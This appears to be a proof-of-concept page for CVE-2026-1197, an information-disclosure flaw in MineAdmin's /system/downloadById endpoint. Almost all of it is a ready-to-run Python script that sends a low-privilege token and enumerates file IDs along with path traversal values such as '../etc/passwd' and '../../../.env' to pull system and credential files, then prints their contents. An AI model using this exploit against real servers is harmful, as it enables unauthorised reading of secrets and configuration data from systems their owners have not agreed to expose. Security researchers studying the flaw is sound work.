CVE-2026-1197 MineAdmin 1.x/2.x /system/downloadById 信息泄露漏洞

import requests # CVE-2026-1197 PoC - MineAdmin Information Disclosure # Target: /system/downloadById endpoint target_url = "http://target-server/api/system/downloadById" # Test with different ID values to enumerate files test_ids = [1, 2, 3, 4, 5, "config", "../etc/passwd", "../../../.env"] for test_id in test_ids: params = {"id": test_id} headers = { "Authorization": "Bearer <low_privilege_token>", "User-Agent": "Mozilla/5.0" } try: response = requests.get(target_url, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] ID {test_id}: Possible file disclosure") print(f"Response headers: {response.headers}") print(f"Content preview: {response.text[:200]}") print("-" * 50) elif response.status_code == 403: print(f"[-] ID {test_id}: Access denied") else: print(f"[*] ID {test_id}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error testing ID {test_id}: {e}") print("\n[!] Note: This PoC requires a valid low-privilege authentication token")